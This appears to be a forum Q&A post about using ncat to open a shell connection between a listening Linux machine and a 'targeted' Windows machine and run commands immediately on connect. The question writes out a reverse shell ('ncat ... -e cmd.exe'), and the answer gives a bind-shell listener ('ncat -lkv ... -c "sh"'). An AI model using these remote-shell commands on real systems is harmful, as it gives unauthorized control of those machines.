Ncat connect and immediately execute command on Windows

Question

I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).

Something similar to this:

Linux machine:

nc -lvp 4444; dir

Windows machine:

ncat 192.168.1.25 4444 -e cmd.exe

I need to immediately run a command as soon as a connection is made with the Windows machine.

If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.

Any help or suggestions would be greatly appreciated! Thanks.

this might be of help.

It should be:

##On the server. It opens the 
##listening machine's shell.
ncat -lkv <port number> -c "sh"

##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>
